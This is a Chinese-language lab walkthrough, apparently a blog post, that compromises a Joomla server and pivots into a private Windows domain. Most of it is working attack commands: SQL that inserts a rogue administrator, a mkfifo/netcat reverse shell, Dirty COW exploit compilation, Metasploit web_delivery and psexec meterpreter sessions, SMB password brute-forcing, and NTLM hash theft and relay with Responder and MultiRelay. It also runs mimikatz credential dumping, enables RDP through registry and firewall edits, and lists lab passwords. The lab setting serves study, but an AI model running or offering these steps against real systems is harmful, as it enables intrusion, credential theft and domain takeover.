攻击者:
kali
192.168.154.129
web
192.168.154.135 192.168.93.100
pc 192.168.93.30
win2008 192.168.93.20
win2012 192.168.93.10
web1-ubantu 192.168.93.120
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGg14jbu-1626750775920)(C:\Users\J\AppData\Roaming\Typora\typora-user-images\image-20210716155058076.png)]
安装使用joomscan进行扫描
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
连接成功直接查看用户信息
administrator
$2y$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy
尝试登录失败,应该是加密过的,所以尝试插入新的用户(因为权限足够)
这里有两种方法
1.自己建个joomla然后新建用户把加密后的密码复制过来插入
2.根据官方文档加密直接插入
这里选择第二种方便一点
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
创建新文件,然后写入木马
通过模板url访问连接
http://192.168.154.135/templates/beez3/1.php
通过基础信息可以看到服务器为ubuntu,并限制了很多代码命令执行函数
但是这里的服务器ip为192.168.93.120 而远端ip为192.168.93.100可以想到web服务器为一台反向代理服务器,web1为真正的web服务器
web.config.txt是个备份文件 test.txt里面有账户信息
成功连接
查看网段信息
可能性最大为脏牛,这里用脏牛2
下载后利用成功提权
wget https://www.exploit-db.com/download/40839
cp 40839 exp.c
gcc -pthread exp.c -o dirty -lcrypt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Wk5GQGTd-1626750775942)(C:\Users\J\AppData\Roaming\Typora\typora-user-images\image-20210716195447702.png)]
1.第一步是先将绕过disable_function的shell反弹到centos上(因为不能出网)
centos 安装nc
nc -l 2333
ubuntu
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.93.100 2333 >/tmp/f
2.尝试前三个失败,网上找个新的2021-3493下载编译执行成功提权
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.154.129
set lport 4444
run
目标机执行生成的脚本语句
run autoroute -s 192.168.93.0/24
run post/multi/manage/autoroute
msf
use auxiliary/server/socks_proxy
set srvport 7777
set version 5
先使用msf
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run
至此五台目标全部出现
外网
192.168.154.135
192.168.93.100
内网
192.168.93.120
192.168.93.10 2012
53,123,137
192.168.93.20 2008
137,1433 MSSQL
192.168.93.30 PC
137
再使用nmap代理扫描
proxychains nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
由于三台都是windows且开启了445端口,那么尝试拿到一台权限后smb横向
方式访问93.20的80端口是一个错误页面
msf爆破
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /app/tools/dic/pass.txt
run
hydra爆破
proxychains4\ hydra -l administrator -P /app/tools/dic/pass.txt smb://192.168.93.20 -vV
利用192.168.93.20 开放的mssql尝试登录
search mssql
use 18
set username testuser
set password cvcvgjASD!@
set rhosts192.168.93.20
run
先在centos上伪造一个smb服务器
git clone https://github.com/SpiderLabs/Responder.git
makedir re
upload Responder-master -r ./re
shell
cd re
python Responder.py -I eth1 -wrf
利用mssql来进行泄露密码
攻击者伪造的smb服务器通过向共享目录投递连接外部服务器的资源文件,用户请求过程中尝试身份验证,会默认使用SMB协议将用户哈希发送到服务器,这样攻击者就会获取对方用户账户哈希。
use auxiliary/admin/mssql/mssql_ntlm_stealer
set password cvcvgjASD!@
set rhosts 192.168.93.20
set smbproxy 192.168.93.100
set username testuser
run
伪造服务器收到密码
123qwe!ASD
用到了
https://github.com/SecureAuthCorp/impacket
里面的wmiexec.py 拉到外面再执行,还要pip安装pycryptodomex和pyasn1包
执行得到shell
开放3306端口放行防火墙后远程连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
利用远程连接上传mimkatz工具,跑出administrator密码为 zxcASDqw123!!,
Nslookup -type=SRV _ldap._tcp
nslookup可知域控为 win-8ga56tnv3mv.test.org,ip为192.168.93.10
这里还可以利用msf生成会话然后跑密码
#因为目标机在内网所以使用bind_tcp
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
密码
load mimikatz
kiwi_cmd -f privilege::debug
kiwi_cmd -f sekurlsa::logonPasswords
然后再连域控开端口放行防火墙
run post/windows/manage/enable_rdp
proxychains rdesktop 192.168.93.20
拿下域控!
假如其他机器未开启SMB签名校验,就能用来打该机器。倘若遇上相同密码或者是有权限操作目标机器的情况,就能直接返回目标机器的Shell
扫描是否开启签名
proxychains nmap -Pn -sT -p445 --open --script smb-security-mode.nse 192.168.93.10,20,30
利用centos的smb中继直接获得shell,密码其实和20一样
#中继
python Responder.py -I eth1
#中继转发(位于tools目录下)
python MultiRelay.py -t 192.168.93.30 -u ALL